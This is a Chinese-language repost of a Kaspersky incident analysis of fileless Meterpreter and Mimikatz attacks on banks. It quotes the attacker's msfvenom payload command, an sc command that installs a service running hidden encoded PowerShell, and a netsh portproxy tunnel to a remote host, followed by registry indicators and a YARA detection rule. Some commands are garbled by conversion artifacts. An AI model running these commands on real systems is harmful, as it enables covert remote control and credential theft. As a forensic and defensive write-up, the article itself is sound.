標籤:

「無文件」惡意程序攻擊技術還原

最近幾天,超過140家美國、南美、歐洲和非洲的銀行、通訊企業和政府機構感染了一種幾乎無法被檢測到的極為複雜的無文件惡意程序,搞得大家異常緊張,似乎碰到了什麼神秘攻擊。今天就讓我們跟隨安全專家的腳步來一探究竟。

其實這種類型的感染並不是第一次出現,幾年前卡巴斯基就曾在自己企業內部網路中發現了這種在當時前所未有的惡意程序,並將其稱為Duqu 2.0。Duqu 2.0的來源則被認為是震網,是當時美國與以色列為了破壞伊朗核計劃專門合作創建的一種極為複雜的電腦蠕蟲。

在本次事件的分析過程中,卡巴斯基安全專家團隊通過跟蹤攻擊者留在日誌,存儲器和硬碟驅動器中的痕迹來進行分析,不過不幸的是,分析並不是很順利,這些存儲在日誌,存儲器和硬碟驅動器中的痕迹每一個都具有有限的時間幀。如果一個被攻擊的計算機重新啟動的話,那所有的攻擊痕迹就會消失。

這種惡意程序只存在於被感染設備的內存中,很難被檢測出來,並且能在系統中隱藏6個月以上。

卡巴斯基實驗室首席安全研究員Sergey Golovanov表示:

現在的攻擊者會盡量隱藏自己的攻擊行為,讓攻擊檢測和事故響應變得更為困難。這正是反取證技術和基於內存的惡意軟體的最新趨勢。所以,內存取證對於分析惡意軟體及其功能非常重要。在這次攻擊事件中,攻擊者使用了所有可用的反取證技術,顯示了網路罪犯可以不使用惡意軟體文件,就可以從網路中成功竊取數據,並且利用合法和開源工具進行攻擊,讓攻擊定性變得幾乎不可能。

幸運的是,卡巴斯基實驗室的安全專家曾在Duqu 2.0的分析過程中實現過類似的分析。在刪除硬碟驅動器並啟動其惡意的MSI軟體包之後,Duqu 2.0會從文件重命名的硬碟驅動器中刪除該軟體包,並將其自身的一部分留在內存中。這就是為什麼取證會對這種類似的惡意軟體及其功能的分析至關重要,另外這種攻擊的另一個重要部分是攻擊者將在網路中安裝的代理通道。網路犯罪分子(如Carbanak或GCMAN)可能使用PLINK。 Duqu2中就使用了一個特殊的驅動程序。

現在,您可能會理解為什麼這種「無文件」惡意程序攻擊會到現在才發現了吧!

在「無文件」惡意程序攻擊事件的分析中,卡巴斯基安全專家發現基於內存的惡意軟體和代理通道是攻擊者使用Windows標準實用程序如「SC」和「NETSH」實現的。

本次攻擊最初是由一家銀行的安全團隊在域控制器(Domain Controller)的物理內存中檢測到Meterpreter代碼後發現的。

攻擊過程

卡巴斯基實驗室經過取證分析把這些具有威脅的代碼成為MEM:Trojan.Win32.Cometer和MEM:Trojan.Win32.Metasploit,進過深入分析,攻擊者的攻擊步驟如下:

攻擊者利用已知漏洞的利用工具來入侵目標組織的伺服器,在獲得訪問權之後就利用Mimikatz來獲取系統的身份憑證——這樣才能完成進一步的提權,也是後續攻擊必須的。

然後再用PowerShell腳本、Meterpreter和Windows工具Sc在內存中部署惡意代碼。目前我們知道會用如下腳本來生成Metasploit框架。腳本會分配內存並將WinAPIs和下載的Meterpreter直接解析到RAM。

另外攻擊者還會利用微軟的NETSH (Network Shell是windows系統本身提供的功能強大的網路配置命令行工具)網路工具設置了一個代理通道,與C&C伺服器通信並遠程控制被感染的主機。

卡巴斯基的專家發現這段代碼是入侵者利用Windows PowerShell將Meterpreter代碼注入內存,而並未將其寫入磁碟。

Meterpreter是一種可注入運行程序的內存攻擊payload,它可以在在被感染的系統中造成持續破壞。Meterpreter是Metasploit滲透測試框架的一部分,Metasploit在安全團隊或惡意入侵者中都是十分流行的工具。

這些腳本可以通過使用Metasploit 的Msfvenom使用以下命令行選項生成:

msfvenom -p windows / meterpreter / bind_hidden_tcp AHOST = 10.10.1.11 -f psh-cmdn

在成功生成腳本後,攻擊者就會使用SC在目標主機上安裝惡意服務(執行上一個腳本)。這可以例如使用以下命令來完成:

sc target_name create ATITscUA binpath =「C: Windows system32 cmd.exe / b / c start / b / min powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA ...」start = manualn

安裝惡意服務後的下一步就是設置代理通道以從遠程主機訪問受感染的計算機,例如使用以下命令:

netsh interface portproxy add v4tov4 listenport = 4444 connectaddress = 10.10.1.12 connectport = 8080 listenaddress = 0.0.0.0n

這將導致從10.10.1.11:4444的所有網路流量被轉發到10.10.1.12:8080。這種設置代理通道的技術將為攻擊者提供從遠程Internet主機控制任何受PowerShell感染的主機的能力。

使用「SC」和「NETSH」實用程序需要本地和遠程主機的管理員許可權。使用惡意PowerShell腳本還需要許可權升級和執行策略更改。為了實現這一點,攻擊者使用由Mimikatz抓取的具有管理許可權(例如備份,遠程任務調度程序的服務等)的服務帳戶的憑據。

對來自受影響設備的內存轉儲和Windows註冊表的分析允許安全專家們還原Meterpreter和Mimikatz。這些工具用於收集系統管理員的密碼和受感染主機的遠程管理。

為了從內存轉儲中獲取攻擊者使用的PowerShell負載,安全專家們使用了以下BASH命令:

cat mal_powershell.ps1_4 | cut -f12 -d「」| base64 -di | cut -f8 -d | base64 -di | zcat - | cut -f2 -d (| cut -f2 -d 「| less | grep / | base64 -di | hdn

導致以下有效載荷:

使用卡巴斯基的安全檢測,安全專家們發現在註冊表中有100多個企業網路感染了惡意PowerShell腳本。這些被檢測出來的腳本為Trojan.Multi.GenAutorunReg.c和HEUR:Trojan.Multi.Powecod.a。

目前的官方數據顯示成為目標的銀行和企業至少有140家,但是鑒於這種惡意程序極難被發現的特性,潛在受害者數量可能遠高於這個數字。

然而目前還無法確定在這個惡意程序背後的究竟是一個黑客、一個組織或很多組織?

結論

在對受攻擊的銀行的分析中,安全專家們了解到攻擊者在.GA,.ML,.CF ccTLD中使用了幾個第三級域和站點。攻擊者使用這樣域的用途是,這些域在一定的時效後會缺少WHOIS信息(用來查詢域名的IP以及所有者等信息的傳輸協議)。鑒於攻擊者使用Metasploit框架,標準Windows實用程序和未知域,沒有WHOIS信息,想要留下痕迹幾乎是不可能的。

類似於像本次這樣的「無文件」惡意程序攻擊的反取證技術和基於內存的惡意軟體技術將來會變得越來越普遍,特別是針對銀行業的攻擊。可不幸的是,目前還沒有什麼檢測工具來對這樣的攻擊進行檢測。

目前,這種攻擊可能會存在於RAM,網路和註冊表中。請檢查附錄1 的 「妥協指標」部分,了解有關如何檢測與PowerShell攻擊相關的惡意活動的更多詳細信息。

成功注入後,攻擊者會更改所有密碼。這種攻擊表明攻擊者使用了所有可用的反取證技術,顯示了網路罪犯可以不使用惡意軟體文件,就可以從網路中成功竊取數據,並且利用合法和開源工具進行攻擊,讓攻擊定性變得幾乎不可能。

卡巴斯基實驗室的產品能夠成功檢測使用上述攻擊策略和技巧實施的攻擊行動。更多有關這次攻擊的詳情以及取證分析Yara規則詳情,請參閱Seurelist.com上的相關博文。卡巴斯基情報服務客戶還可以獲取更多關於這次攻擊的技術詳情以及感染痕迹等內容。

這些攻擊及其目標的進一步細節將於2017年4月2日至6日在聖馬丁舉行的安全分析員首腦會議上披露。

附錄I

要查找攻擊者使用的遠程連接和密碼收集所描述的技術使用的主機,應分析Windows註冊表中的以下路徑:

HKLM SYSTEM ControlSet001 services – 路徑將在使用SC實用程序後修改

HKLM SYSTEM ControlSet001 services PortProxy v4tov4 tcp – 路徑將在使用NETSH實用程序後修改,在Windows註冊表中的未分配空間中,可能會找到以下文件:

powershell.exe -nop -w hidden -en10.10.1.12/8080n10.10.1.11/4444n

請注意,這些IP是從卡巴斯基實驗室參與的IR案例中獲取的,因此可能存在其他IP。這些文件還表明攻擊者使用PowerShell腳本作為惡意服務和使用NETSH構建代理通道。

MEM:Trojan.Win32.CometernMEM:Trojan.Win32.MetasploitnTrojan.Multi.GenAutorunReg.cnHEUR:Trojan.Multi.Powecodn

附錄二 – 雅拉規則

rule msf_or_tunnel_in_registryn{nstrings:n $port_number_in_registry = 「/4444」n $hidden_powershell_in_registry = 「powershell.exe -nop -w hidden」 wide ncondition:nuint32(0)==0x66676572 and any of themn

本文參考來源於securelist,如若轉載,請註明來源於嘶吼: 「無文件」惡意程序攻擊技術還原 更多內容請關注「嘶吼專業版——Pro4hou」

推薦閱讀:

PayPal某站價值1W美金的RCE漏洞
實例分析:趨勢
孟洪濤:阻力區的確定
Android是否存在網路注入攻擊?
如何在數秒之內破解APT28流量?

TAG:技术分析 |